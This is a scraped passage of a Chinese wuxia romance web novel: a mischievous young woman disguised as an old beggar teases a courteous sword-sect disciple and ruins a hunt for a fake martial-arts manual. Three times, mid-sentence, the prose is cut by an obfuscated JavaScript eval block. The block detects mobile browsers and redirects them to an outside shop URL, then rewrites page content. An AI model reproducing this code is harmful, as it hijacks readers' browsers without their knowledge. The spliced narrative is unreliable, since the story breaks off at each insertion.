《烟雨夜江湖》 1. 馒头 “喂,老太婆走路注意点,一大把年纪还到这种地方来。” 瘦猴似的男人被薛滢撞了下,扭头冲她叫道。 他本嗅到一阵清淡的花香,以为是哪位姑娘碰了他一下,正心花怒放,一侧头,却见是个衣衫褴褛,满脸锅灰,头发凌乱的老婆婆。 扬起的嘴角瞬间消失,只余嫌弃。 “哎呦,对不住对不住,老婆子年岁大了。”薛滢弯着腰,嘶哑着嗓音说。 这瘦猴啧了声,拍拍身上的灰,朝楼上靠窗的位置走去。 见这里原本坐着的人消失,小二已经在收拾桌上的小菜碟子了,忙拉住他问: “刚刚坐在这里的那位小娘子,可知道去哪里了?” 他在下面街道上看见窗户处坐着位容貌姣好的姑娘,这才特意上来的。 小二摇摇头,“不知,这姑娘放了锭银子,问我们借了后厨一用,现下大概是走了吧。” 闻言,瘦猴男人只能摇头叹息。 可惜不能近距离和那小美人说说话,还被撞了一身灰。 薛滢步履蹒跚,走到外面巷子口才停下,手中抛着一块东西。 是块相当不错的玉佩。 “没被白骂,得了一块玉。”看了下玉的成色,薛滢嘻嘻一笑,收进了怀中。 方才她坐在窗边的位置,注意到下面有人盯着自己良久,还进酒楼来了。 薛滢一下便知道了他的心思,借了酒楼厨房,装成了个不爱干净的老婆婆。 她本来就打算装成个老婆婆,正好这男人上来,本准备逗逗他,谁知,被骂了一顿,那她就只好拿走一样东西当赔礼了。 薛滢回头看了眼那酒楼的方向,脸上的笑容略带狡黠,随后便轻快地转过身。 可她想起自己如今的身份,马上弯下腰,继续装作一个老太太。 她找了个竹竿,一路敲来敲去,走路歪歪斜斜,撞到人,就哎呦几声。 “老太婆身体不好,见谅见谅……” 脾气好点的,见她衣衫破旧,也就摆摆手走了。脾气差的,总得给几记白眼和一句咒骂。 这样走了一条街,薛滢觉得可真好玩。 她这些日子用真面目行走江湖,对方见她相貌和年龄,总不会和她多计较,现在却惹得这么多人来讨厌她。 薛滢从来没有从谁口中听过一句较重的话,哪怕是总喜欢板着脸的爹爹,对她也是极其宠爱。 那些话她不会放心里,只觉得好玩,这次下山,就是为了给自己找点乐子。 薛滢继续敲着竹竿,不慎碰到一个男人的脚,那男人还未开口,身边的妇人先说:“怪可怜的,来,老太太。” 她掀开篮子上的白布,将里面热气腾腾的馒头给了薛滢一个。 “哎呦,多谢娘子。”薛滢接过馒头,两眼放光。 当老婆婆还有馒头吃,不错不错。 她啃着馒头,有些玩乏了,想直接去打听到的地方,准备给那些人来个惊喜。 可她身子都拐进巷子里了,眼睛带着头和上半身,又探了出来。 视线准确停在前方路边的告示栏前。 那站着一个腰间佩剑的男孩,正神色专注,看着前面张贴的东西。 他身板格外挺直,一身白衣如雪般干净,侧脸俊秀,乌黑的头发只用一条发带束起。 这小少年的外貌气质在行人中分外突出,好些过路的姑娘都偷摸去瞧他,可他浑然不觉,只看着眼前。 薛滢瞄见他腰间的牌子,心中兴趣倍增。 原来是楚山剑宗的弟子,看佩剑,身份应该不低。 感兴趣的同时,薛滢起了小九九。 她虽从小没有下过山,却听上山的人说过,江湖上可多人认为她家所擅长的功夫是邪魔歪道,是邪术。 她父母即使是现今武林五大宗师之二,却还被一些人讥讽,说他们所修非正派武功,却还入了宗师名列,是在劝武林中人走上邪道。 最对她父母有意见的人,便是楚山剑宗的掌门了。 楚山剑宗以剑为道,是规模最大且最正派的门派,当然,也是江湖公认的“正道”。 想到这儿,薛滢看那俊俏的小少侠眼神中,带着丝丝的思索。 这少年倒不像她这些天看到的那些说话粗声粗气,动不动就舞刀弄枪的人,瞧着倒是个好脾气的。 可他说不定也和那些“正派者”差不多,是个只认死理的家伙呢?罢了,反正楚山剑宗的人,她得去逗着玩玩。 薛滢明亮的双眸弯起,走出巷子时,又做出一副老态龙钟的模样。 她觉得不能怪她,谁叫那群喊义气喊情谊的老家伙总是诋毁她家呢,现在她就去得罪一番这正道的弟子。 沈泠钰正好转身,依旧没注意周围看向自己的目光。他目不斜视,一手握住剑柄,欲抬腿离开时,一个破烂的身影撞到了他身上。 “哎呦!对不住对不住!”薛滢扑到他身上,压低声音嘶哑着说,抓着馒头的手却在他身上摸来摸去。 沈泠钰先是愣了下,乌黑的眸中闪过丝诧异。见这老太似乎站不稳,总往他身上靠,便伸手扶住了她。 “老婆婆,你——”他开口,温润和煦的嗓音传到薛滢耳中。 但她不罢不休,把馒头往怀里一塞,双手翻来覆去在他雪白的衣服上摩挲。 “哎呦,哎呦,你看我这老太婆,眼神不大好,这白色的是什么?是大白馒头吗?——咦?怎么黑了?” 只几下的功夫,沈泠钰身前就多了好几处乌黑的痕迹。 他有些讪讪地看着薛滢的举动,见她眯着眼睛,好似确实眼神不清醒。 “老婆婆,这不是馒头,这是我的衣服。”沈泠钰解释。 前面有人骑着马奔来,沈泠钰握住薛滢胳膊,带着她走到里面。 “小心些。”他语气很轻,全然没有被弄脏衣服的恼怒。 薛滢低着头,眼珠一转,想抬头看看,又怕自己露出破绽。 怎么和她想的不一样? 不应该他大发雷霆,然后举剑对她出手,她再装可怜老人撒泼打滚,让他丢尽颜面才对吗? 不行不行,正道人士最会装了,她得再找点事。 “这不就是馒头吗……”薛滢疑惑地嘀咕,手往自己身上摸了下,哟呵道,“在老太婆自己怀里!” 她拿出沾了灰的馒头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480429|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,啃咬起来,空出的手拽着沈泠钰的腰带,怕他跑了。 她吃了两口,又举到沈泠钰面前。 “小伙子,你也吃吧,我这馒头新鲜的,可好吃了,我从地上捡到,放在怀里三天,现在还是软乎的,不信你尝一口。”薛滢乐呵呵道。 沈泠钰比她高半个头,薛滢身材娇小,又故意佝偻着腰,正好到他胸膛的位置。 现下她踮着脚,又拽着他,硬要把馒头塞到他嘴里。 快恼羞成怒吧,薛滢心里邪笑。 谁知,沈泠钰正要拒绝,还没有大动作,她一个没拿稳,馒头掉到了地上。 “这……”沈泠钰看上去欲言又止。 “我的馒头啊,苍天!”薛滢跪倒在地上,对着馒头哭喊,“我的馒头……我攒了两天的馒头……” “不是三天吗?”沈泠钰小声道,见老太太这么伤心,他忙收起困顿,蹲下扶住她。 “婆婆别伤心,我带你去买一个吧。” “你你你,你这混小子!”薛滢抖着肩膀道,“看看你做的好事,你知不知道这个馒头有多珍贵,这可是我……算了,你不想吃,怎么能把它给打掉!” 沈泠钰怔愣了下,温声道:“可是,我并没有动手。” “胡说!我都看见了!”薛滢叫嚷道,伸出十指挥舞着,“刚刚我就这样拿着,然后你——啪一下,我的馒头!可怜的馒头!就这么掉到地上了!” “我……”沈泠钰本欲辩解,却注意到这老太的手。 虽然手上沾满了锅灰,但他眼力极好,这手指纤细,全然没有孤苦老太该有的粗糙,再仔细一看,连皱纹也没有。 眼中闪过丝疑惑,沈泠钰看着这还在控诉他的老太,没有硬抓着她手辨认。 “反正,你弄掉了我的馒头,得给我赔偿才行!”薛滢终于说出自己的目的。 “抱歉,婆婆。”沈泠钰依旧温和,“你想要我给你什么补偿呢?” “你可别想着几两银子就可以了事,我老太婆可不稀罕。”薛滢哼哼道,“这可是我祖传的馒头,无价之宝。” 又变成祖传的了。沈泠钰心中隐隐发笑,面上却仍然平静。 “那婆婆……” “你且先照顾老太婆我几天,等我想到了,再告诉你。”薛滢刁蛮地说。 这下,沈泠钰纵使再困顿,也反应了过来。 他似乎被讹上了。 “这,恐怕不妥。”沈泠钰含蓄地说。 “什么?什么不妥,哦,我知道了,你是嫌我老太给你丢脸,给你找事是不是?”薛滢点了点头,一屁股坐到了地上,手还不忘拽着他的靴子。 她见这靴子也是格外干净,赶紧抹了几把灰上去。 “好啊,你这小伙弄掉了老太婆的东西,还不给老太婆补偿!”薛滢期期艾艾,“这天下怎么有这么无理的事啊……可怜我孤苦无依,只有一人……” “我不是这个意思。”沈泠钰蹲下,“只是我这次下山,有要事在身,婆婆跟在我身边,实在不方便。” 方才他站着时,瞥见了薛滢的后颈下方。 那是薛滢忽视掉的地方,仍然是年轻的肌肤,他看见了。 2. 姑娘 他马上移开了视线,并不打算问,也不打算用强硬的态度处理,这次他下山,是有任务在身的。 哪怕是行走江湖,也不应该随意以刀剑相向。 “咋了,你放心带着老太我,我可不会给你添麻烦。”薛滢跳了起来,发觉自己动作太大,又哎呦了几声,“你怎么不扶着点老太婆我?” 沈泠钰扶住她。 “你要办什么尽管去办,老太我在你身边慢慢想,反正,你总得给点补偿。”薛滢理所当然道。 薛滢知道,换旁人,早一脚踹开她了,她拿定主意要惹他不高兴,故意这样说刁蛮的话。 可沈泠钰居然没有拒绝,而是点点头:“好,那婆婆就跟着我吧。” 薛滢呆了呆,心中仍是不服,她倒要看看这个小古板能忍到什么时候。 她颔首,走在沈泠钰身边,伸出一根手指拽着他腰带,生怕他跑了。 没成想,沈泠钰先到卖馒头的地方,给她买了一袋子馒头和包子。 “吃吧,婆婆。”沈泠钰示意她。 薛滢看他一眼,抱着袋子啃了起来。 “你这小郎君还挺不错。”走在路上,薛滢咽着东西说,“别人都嫌弃我这老太婆,就你,还带我吃包子。” “婆婆喜欢,那就多吃些吧。”沈泠钰微微一笑。 “小郎君,你是哪家人啊?叫什么名字啊?”薛滢咕哝着问,“你要去做什么?莫不是把我这老太婆带去卖了?” “婆婆说笑了。”沈泠钰莞尔,“前面有个客栈,我订两间房,婆婆先歇着吧。” 他侧身温和道:“在下沈泠钰,楚山剑宗弟子。” 楚山剑宗这等门派,不止武林人士知道,平头百姓也大多听过。 薛滢知道他是希望她听到这个名号,就自觉点走开,别再纠缠他。 可既是这样,她偏不随他的意。 “难道就是那个——传言中,最厉害,最气派,最值得赞扬,满宗门都是倔牛一样的侠义之辈的——楚山剑宗?”薛滢扯着嘶哑的嗓音喊,像是听到了极其稀奇的东西。 不知道是不是他的错觉,沈泠钰觉得她不是在单纯夸奖。 他缓缓点了下头,“正是。” “你是里面的弟子啊?”薛滢问。 “正是。” “师傅叫啥呢?” “师出楚山剑宗掌门楚明枫。”他说。 薛滢眉毛一竖。 好啊,这楚明枫,她先前在家里,就让人打听过,据说这掌门先前因事没有参加宗师比试,其实力却是公认的能纳入其中,且剑术乃天下第一。 他身为掌门,共有三位嫡传弟子,沈泠钰居然就是其中之一。 薛滢讨厌楚明枫,现在居然遇到他的好徒弟,那她得好好给这位楚山弟子找点麻烦。 “婆婆?”见她未说话,沈泠钰开口。 “唉,想当年,我也是闯荡江湖之人,现在看着你们这些小辈长大,真是感慨,光阴似箭啊。”薛滢叹道。 沈泠钰并未戳破她的谎话,只是笑笑,带她走进了那家客栈。 “老婆子我,也是有地方住的人了。”薛滢嘻嘻道,往那桌子上一靠,对小二说,“来两间最好的屋子,这位小郎君付钱。” 小二不太相信这个疯癫颠的老太婆说的话,看向他身边的沈泠钰。 沈凝霜颔首,将一锭银子放到桌上。 “小郎君可真有钱啊,不像老婆子我,无依无靠,捡到个馒头都得啃三天。”薛滢啧啧摇头,“对了,方才小郎君还没说,你打算去做什么事?” “婆婆好生歇息吧。”沈泠钰微笑着回答,将几两碎银子放她手中,“我奉师命下山,不能告诉旁人。” “既然如此,那老婆子我也不问了。”薛滢满意道,将碎银子放进怀里。 她余光瞥见一个拿扇子的瘦高男人从正门进来,心中顿时有了主意。 那男人正是在酒楼上骂她的人,也不知他有没有发现自己玉佩被盗走。 薛滢嘴角微勾,拿出那枚玉佩,在手上晃了晃,又塞回袖口中。 沈泠钰正在等小二安排房间,忽听背后传来一声暴喝:“死老太婆!那是我的玉佩!” 那瘦猴似的男人满面盛怒,把手中的扇子啪一下折起,冲着薛滢走来了。 薛滢往沈泠钰背后一躲,“有人欺负老婆子来了!” “什么?”沈泠钰回过身,对上瘦猴咬牙切齿的脸。 这瘦猴扫他一眼,就去捉薛滢。沈泠钰忙阻拦,却发现薛滢躲着这男人伸来的手,身法看似笨拙,实则每一下都是刻意等这男人靠近才躲,并且速度不慢。 这姑娘有武功。 瘦猴男人愣了愣,把扇子往腰间一插,伸直手臂就奔向她。薛滢抓着沈泠钰衣服,不停闪躲着。 “哎呦,什么玉佩啊?你可得把话说清楚,欺负我老婆子算什么本事?”薛滢叫着。 两人围着沈泠钰绕来绕去。沈泠钰只得先帮薛滢挡着,不停说:“两位先等等……” 这瘦猴男人抓了一阵没抓到,,指着薛滢道:“别胡搅蛮缠,今天就你撞了我,还敢耍无赖?刚刚我都看到你把那玉佩拿出来了!就在你身上!” “你这小猢狲,难道是想搜身吗?”薛滢凌乱头发下的眼睛眨巴眨巴,“我老婆子五年没洗澡了,你要搜身,倒也可以,只要你——” “谁要搜你这老太婆的身!”瘦猴大喊,“快点的,现在给我,小爷我饶你一命,不然,江南八门饶不了你!” 薛滢哼笑一声,原来这是江南八门的人,难怪功夫这么差劲,连她摸东西都没察觉出来,这等小帮派,在她家面前,都排不上号的。 “都说了老婆子没有了,你这家伙可真倔!”薛滢摸摸脸,做出一副老实的样子,“就欺负我老婆子一个人。” 这瘦猴被她挑衅的模样激怒了,手指飞快从腰间取下扇子,啪的一声,扇子张开,像一把利刃,对着薛滢飞了过来! 这样的攻击,薛滢要躲简直轻而易举,但就在这扇子要接近她的一瞬,一道银光闪过,将这扇子打飞了回去。 只见沈泠钰举剑挡在薛滢面前,剑只出鞘了半截,却寒光森森,那扇子回到瘦猴 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沈泠钰见她还不承认,只当她是年岁小爱玩闹,不再多说。 “还请姑娘别再跟着我,我有要事在身。”沈泠钰拱手,“告辞。” 小二说了房间,他朝楼上走去,薛滢站在原地一会儿,又追上了他。 沈泠钰居然这么好心,帮她赔了玉佩? 薛滢觉得可真有意思,这个沈泠钰太有意思了,她从来没有见过这种人,他都不会生气的吗? “我不是姑娘,我真的不是。”薛滢追在他身后说,“刚刚在路上可说好了,我老婆子得跟着你几天的。” 闻言,沈泠钰只是笑笑。 “你晚上是不是要去找秘籍?”薛滢转移话题。 沈泠钰脚步顿了下,没有回答。 他进到房间,对薛滢略微低了低头,“还请姑娘去休息吧,别再多问,江湖之事不宜多说。” 他关上门,薛滢不服气地撇撇嘴。 小气,不让她问,难道她就不会自己去看吗?本来就是打算今晚去现场看看热闹,现下经过此事,她对这位来自楚山的弟子可是有了极大的兴趣。 这真算是她下山以来,遇到过最好玩的事了。 薛滢的房间就在他隔壁,她一直留意着对面的动静,发觉沈泠钰休整了片刻,在傍晚时分出了门。 薛滢吃掉剩下的一个包子,悠闲地跟在沈泠钰身后,保持着一定的距离。 她打听到的关于绝世秘籍《九洲秘典》的消息,说秘典可能在此城城外的一个废弃的寺庙中。 这书出世的消息传遍整个武林,大概有一月了,薛滢在十多天前下山,一直到现在,听了不少关于这书的谣言。 她倒对这本书没多大兴趣,就是单纯觉得好玩,这书的出现正好能让她找点有趣的事做。 前面的沈泠钰脚步停了下,薛滢忙躲在树丛中。 好在他只是眺望了一下那山腰处的寺庙,接着足尖轻点,用轻功上去了。 3. “秘籍” 那寺庙立在丛林中,月色下显得格外孤寂肃然。 薛滢在上去途中,发现林中有一片澄澈的小湖泊,她走近,借月光往水面看了看,见自己蓬头垢面,脸蛋被锅灰弄得完全看不清本来面貌,不禁笑出了声。 待会儿这个样子出去,保准能吓坏那群人。 可她这个样子,那沈泠钰是怎么认出她是个年轻姑娘的?他认出她是年轻姑娘后,为什么不直接拆穿她,反而帮她解围呢? 薛滢越发觉得这个人和别人不一样,因为她相貌对她态度好的人她见多了,可她这副样子,还骗了他,沈泠钰对她的态度却从头到尾都没有改变。 难道他真的不会生气吗?薛滢好奇得紧,寻思待会儿玩够了,一定要问问他心里是怎么想的。 寺庙就在上面些的位置,薛滢足尖轻点,在林间穿梭着。 她轻功极好,只稍一运功,便有迷惑视线的功效,除非功力在她之上,否则绝看不清她的位置。 只是片刻,薛滢就来到寺庙外面,她看了看周围,飞身上院墙,躲在了暗处,月光照不到的地方。 而下面院子里,已经站了好些人,有好几人拿着自己的武器,居然将院子的几块砖撬了起来,正在刨土,似乎想挖什么东西出来。 而另外几人正站着说话,沈泠钰只站在一边,没有加入他们的谈话。 这些人大多是有些年龄的武林中人,沈泠钰比起他们,就显得年轻许多,但他随身配剑,加上腰牌,别人一眼就认出他是楚山弟子,对他颇为有礼。 “原来沈小公子也是得到消息,特意来这寺庙的么?”其中一个拿流星锤的男人问。 “我是奉师命而来。”沈泠钰回答。 “那沈公子,是要以楚山剑宗的名义来夺这宝书了?”另一男人问。 “并不,秘典现在还不知所踪,也不一定真的在这里。”沈泠钰温声说。 这几人见他看似年岁小,说话不卑不亢也不逼人,便不再多说什么了。 墙上,薛滢将他们的对话听了去,不由偷偷一笑。 那秘典,她老早之前就听说过,据说是一本极为神奇的书,能助人练就绝世武功,重新塑造人的筋骨,甚至还有助人长生不老之术。 一月前这本书被传出消息,虽只是一点口风,却也引得武林众人倾巢而出。 就连她的父母,也下山打探去了,她这才得以有机会出来。 不过,她可不相信秘典在这寺庙里,想来沈泠钰大概也是不相信,只是想来看看,近些日子,关于秘典的传闻可是层出不穷。 “啊!”下面忽然有人大叫了声,“找到了找到了!” 几人立即围了上去,薛滢也眯起眼睛看,见他们从地上拿起一个盒子,打开后,里面居然真的是本尘封已久的古书! 不过,这本书的外貌较为普通,就和平常的诗集没什么区别。 薛滢摸了摸怀里,恰好她就有一本。 “找到了!拿给我看看!”那拿流星锤的男人大喊,伸手便去夺。 先拿到的人一个闪躲,让他扑了空,只瞬间,这些人便交手起来,要以最原始且公正的方法来决定这本书属于谁。 沈泠钰没有加入战斗,他站在旁边,一手按着剑柄,一手制止道:“不然,我们还是先打开看看。” 然而,他的声音被这群五大三粗的粗老汉给掩埋下去了。 薛滢本想趁此时下去,刚直起腰,却见院子侧门跨步进来一个男人,手摇晃着扇子,居然是今天她撞的那个瘦猴! 他的扇子被沈泠钰弄成两半,现下又弄了个新的扇子,正缓缓摇晃着,哈哈大笑。 这瘦猴有些内力,笑声穿透几人的耳膜,让他们停下了手。 “怎么又来一个?”其中一人皱眉说。 “阁下别急,在下乃江南八门的弟子,何原一。”瘦猴报上自己的师门,余光瞥见一旁的沈泠钰,面色变了瞬,移开了视线。 “怎地,你也要这书?”流星锤大汉问。 “这书,我想我们都想要,但现在起码人少,几大高手都不在,我们何不先自己看看呢?”何原一用扇子指了指他们抢夺的东西。 “不错,先看看真假再说。”沈泠钰也道。 见两人这样说,眼下抢夺也确实不是事,要是再来几个高手,恐怕他们连摸的机会都没有了,当下松手,要先拿到的人放地上。 没成想,书刚被放地上,一道急风袭来,正是那把扇子。 几人慌忙躲避扇子,都往身后撤去,而书却被刚刚还站着的何原一拿到了手中! “你!”几人大惊。 “我就多谢几位老兄了。”何原一微一拱手,便要提步离开。 可这时,他身后飞快窜过去一道身影,几人都未看清,唯独沈泠钰意识到对方武功不浅,将剑拔出了些。 唰的一下,那道身影停在了离几人几步远的位置,手上拿着那本书。 何原一这才反应过来自己东西被拿了,而拿的人,还是今天偷他玉佩的老婆婆! “老太婆!又是你!”他勃然大怒。 “姑……婆婆?”沈泠钰也很讶然。 薛滢拿到书,啧啧感叹:“老太婆我啊,也要看一看这本好书,是不是真的有那么神奇?” “是个老家伙,大家伙一起,把秘籍拿回来!”拿流星锤的大汉怒吼,挥舞着锤子便朝薛滢甩来了。 沈泠钰心中纠结了瞬,还是决意拔剑去挡。可薛滢却完全没有要躲的意思,反而将那本书高高举起。 那大汉心知自己这一锤子下去,这书肯定变成碎片,马上撤了手。 “你们这些人啊,就是喜欢着急。”薛滢踱步起来,将秘籍在手指上转悠,“不让我老太婆高兴,我可不把书给你们。” “凭什么你说什么就是什么?我们一起上!”何原一怒喝道。 几人打算一起上,却又被薛滢的举动弄得停下了。 她举起那本书,另一手不知何时打开了一个火折子,燃烧的火焰就在书下方跳跃。 “要是再惹老太婆我生气,我就烧了这本书。”薛滢威胁道。 几人一顿,忙七嘴八舌喊: “老侠可别啊,这可是秘籍!” “是啊老侠,你高抬贵手,先把秘籍放下再说吧。” “别拿秘籍开玩笑啊……” 何原一本就因玉佩的事记恨于她,现下又被这样糊弄,气得脸白一阵红一阵的,握着折扇的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480431|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖着。 “我看啊,有些人不服气得很!”薛滢哼道,“要我把秘籍给你们?可以,你们这些人站好,排成一排,在地上学青蛙跳,我就给你们。” 沈泠钰眼睫微颤,面色有微妙的变化。他只知道这个小姑娘扮做老太戏弄他,却没想她还有这样大的胆子和不浅的功夫。 可他再怎么看,也看不出她是哪位武林高人,现在她脸上全是脏东西,乌发蓬头的,只能依稀瞧见一双明亮、黑白分明的眼睛。 “什么?” “这这……” 几人甚是犹豫,尤其是何原一,已经气得恨不得扑上来。可薛滢依旧举着秘籍,再次作势要烧掉。 “好好好!我们跳!我们跳!” 几人按照指示站成一排,在地上跳了起来。 这几人都是大老粗,现下抱着脑袋像青蛙来回蹦跶,画面滑稽极了。 “你怎么不跳?”薛滢问何原一。 “那他怎么不跳?”何原一狠狠地道。 他是在说沈泠钰。 “他给了老太婆馒头和包子,老太婆不为难他。”薛滢摇头晃脑道,“老太婆做事从来不看对错,只看好不好玩。” 她这副天不怕地不怕的模样,叫在场的人都惊了一惊。 这是有多厉害的武功和背景,才敢说出如此狂妄的话? 沈泠钰微微讶然,他可从来没见过如此……怎么说,随性不讲理的人。 “你不跳啊?那我烧了。”薛滢干脆地说,又把火折子拿到书下面。 其中一人急了,起身按着何原一的肩膀,就让他跪了下来。 见何原一面色如同吃了屎一般,薛滢没忍住,咯咯地笑了出来。 这一笑,耳力极好的沈泠钰听出了几分她本来的声音,却不真切。 “老侠,大侠,现在肯把书还给我们了吧?”其中一人讪讪道。 “嗯……”薛滢若有所思地点点头,把书往地上一抛,“给你们了。” 几人大喜,扑上来就要抢,可薛滢却在他们动作之前,又把火折子丢了下去。 顷刻间,书燃烧了起来。 在场的人都愣了愣,随后发出数声堪称绝望的呐喊,纷纷脱下衣服去扑火。 “老太婆,你到底是什么人!”何原一被她逗弄得忍无可忍了,跳起来大喊,“报上名来!” “我要是报出师名啊,不把你吓死。”薛滢嘁了声,“老太婆无名无姓,你打听不到的。” “婆婆,你这是为何。”沈泠钰蹙着眉毛,“为何要把书烧了?” “还能为什么。”薛滢无所谓道,手在身上摸来摸去,忽然嘻的一笑,“因为那本书是假的,这本才是真的!” 她的话让那些人猛然抬头,果然见她手中拿着另一本秘籍! “你耍我们是不是!”何原一怒不可遏。 “那倒没有,这样才好玩嘛。”薛滢嬉笑道。 “你!” “不仅这本书是假的,这本也是。”薛滢随意地把秘籍丢给沈泠钰,“小郎君看看吧。” 沈泠钰打开一瞧,瞳孔骤缩,雪白的脸浮上一抹红润。 他把书往地上一丢,握着剑柄的手收紧,隐隐有些愠怒。 4. 薛滢 几人凑上去一看,脸上的横肉都抖了抖。 只见这本书上,赫然印着几个男女交缠的画面! “我这一老婆子看了都不觉得有什么,你们几个糙汉子还羞了?”薛滢扬眉说。 她见沈泠钰侧过头不作声,主动走过去,“小郎君,你怎么啦?” 沈泠钰缓缓看向她,目光中带着怪异之色。 “你看到啦?”薛滢故意问,明亮的眼睛弯起。 “并未。”沈泠钰移开视线,“姑娘不该这样戏耍人。” 他声音照旧轻柔,薛滢撇撇嘴,不作弄人,那她玩什么?今晚她来,就是为了好玩的。 几个大汉以及何原一翻来覆去把这本书看了几遍,见只是本春宫图集,当场又发出几声呐喊。 “所以你是早就知道这是假的,还让我们在地上跳?”何原一用扇子指着薛滢。 “老太婆我这叫言传身教,让你们长点记性!”薛滢哼道,“难道你们不好奇,为什么寺庙里会有这种东西吗?” 闻言,几人确实好奇起来了,这寺庙内不仅有这样的东西,还埋在地下,实在奇怪,当即讨论了起来。 趁这时,薛滢莞尔,拉着沈泠钰就施展轻功离开了寺庙。 到了外面树林,沈泠钰抽回手,低眉不语。 “做什么?”薛滢回头问,知道他已经知晓自己的年龄,也不装做老太的身姿了。 “姑娘这样做,实在不好。”沈泠钰平淡道,“既然姑娘武功高强,又本事过人,那在下先行离开了。” “诶!”薛滢一把抓住他的手腕,沈泠钰困惑地看她。 “你急什么呢?你丢了我的馒头,可是答应过我要等我说出赔偿的。”薛滢歪头说,“现在你知道我的年龄了,我也没有必要再做这个打扮,我玩累了,正好前面有个湖,你帮我守着,我要洗洗。” 她话说完,不由分说就拉着他朝小湖的方向走去。 沈泠钰却被她的话吓得不轻,只觉得耳根都发痒起来。 “姑娘别再胡闹了。”他语气稍微严厉了些,“我是奉师名来的,既然秘籍是假的,那我得赶去其他地方了。” 他再次抽回手,转身便要走,可薛滢却不急,一句话就让他顿住了脚步。 “好啊,那你走吧,我自己去洗,不过,我一个小姑娘,这大晚上的,独自在湖边,实在危险。”她哀哀地道,却仍然朝湖边走去。 薛滢脸上却带着一抹笑,她摸透了沈泠钰的性子,知道他是不会就这样离开的,他确实和那些正派人士有相同之处——一样的小古板,却也没那么不近人情。 果然,沈泠钰一番纠结后,拦住她,“且慢,姑娘,我只在不远处看着,你清洗好,自行离开,我再走。” “那就多谢少侠啦。”薛滢嬉笑着拱手。 而沈泠钰确实如她所想,认为自己不该把姑娘家一个人丢在这山里,上面还有好些人没有下来。 他跟着薛滢到了湖边,便不在往前一步,而是到了十步远的位置,盘腿坐了下来,背对着她。 薛滢也不看他,更不担心他,两人打起来,说不清是谁输谁赢,而她现在觉得沈泠钰确实和好些人不同。 他是个好人,这样的人,她可不能就这样放他离开,正好她也要找秘籍玩,干脆就做个伴吧。 薛滢从小被养在鹤眠山上,父亲母亲虽宠爱她,却更加痴迷于武学,教她的东西也多是门派功夫相关,或者读书识字。 其余的,两人完全没有当父母的经验,也没有过于指正她,由着她的天性。 正因如此,薛滢去捉弄他们,只想着好玩这一点,全然不顾其他。 薛滢背后背了个小包袱,里面是她的衣服,她褪去这一身脏污的装备,游进了湖里。 十步之远外,沈泠钰清晰听见薛滢入水的声音,第一次觉得自己卓越的耳力很费神。 他干脆坐下,专心打坐,并无其他想法。 前面不远处传来脚步声,沈泠钰猛然睁开眼,握剑站起,问:“谁?” “是我们,还能有谁!” 原来那几个大汉,还有何原一来了。 “那老太婆去哪里了?”流星锤大汉喝问,“让她出来受死,敢耍我们!” “让我们学青蛙跳,结果是假的!”何原一仍然气得脸通红,听见前面有动静,抬腿往前走。 沈泠钰拦住他。 “别再过去,前面有人。” “有人?我就是来找人的!”何原一喊,吆喝着一干人,“快,我们把那老太婆抓住,逼问她到底是什么人,一雪前耻!受此大辱岂能不报!” “对,对!”几人喊着,往湖边跑去。 沈泠钰见此,暗想还好自己没走,抽出剑来,一道银光闪过,将几人都震慑住了。 “还请几位绕道。”沈泠钰劝道,“那位老婆婆已经走了,这里是其他人。” 几个大汉面面相觑,不太相信他说的,可又知他是楚山的人,不敢硬闯。 “哼,别以为你是楚山的,就很了不起了,你当我不知道?你护着那死老太婆,你们是什么关系啊?”何原一还记着玉佩的事,气不打一处来。 沈泠钰自然说不上他们的关系,只是,他肯定不能凭着这些人去欺负一个姑娘。 “你让不让!”何原一喊。 “抱歉。”沈泠钰摇头。 “好啊,大家伙一起上,还怕打不过他一个人吗!”何原一喊着,将手中的扇子丢去,其余人见状,也纷纷拿出武器,举起拳脚,围攻沈泠钰。 沈泠钰见状也不慌乱,一招一式利落干脆,全是在楚山所学,同时又念着于这些人无冤无仇,收了几分手。 可就是这一收手,一人举着斧子,不知何时窜到他后面,从他背后袭来! 沈泠钰第一时间意识到了,他反身去挡,却瞧见一枚极细的银针刺来,精准刺进偷袭这人的手掌处! 这人惨叫一声,握着手腕,斧头也丢掉了。 沈泠钰飞身和几人拉开距离,让他们去看那人的情况,何原一却已经紧追着他。 但这时,一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何原一把她的笑当成羞涩,不由又朝她走了一步。 “我的名字么。”薛滢负着双手,缓缓说,“只有给我买包子的人,我才告诉他!” 说完,她咯咯笑着,不管这些人,转身拽住沈泠钰,飞身下了山。 一直到山下路上,沈泠钰才回过神。 他忙又抽回手。 这下薛滢不高兴了。 “喂,你都挣脱几次了?”她手指点了点他的肩膀,不满意道,“我可是第一次这样拉着人跑。” “抱歉,我略有些惊讶。”沈泠钰如实说。 “怎么啦,难道我是个丑八怪,让你失望啦?”薛滢说。 “不,那倒不是。”沈泠钰忙说,“姑娘很美,而且……” 是他见过最好看的姑娘了。 “对了,我还没有告诉你我的名字呢。”薛滢恍然道,笑颜在月色下清丽无双,又有几分稚气。 “我叫薛滢,你得记住啊。” “薛……滢?”沈泠钰低声呢喃,黑亮的瞳孔凝视着她。 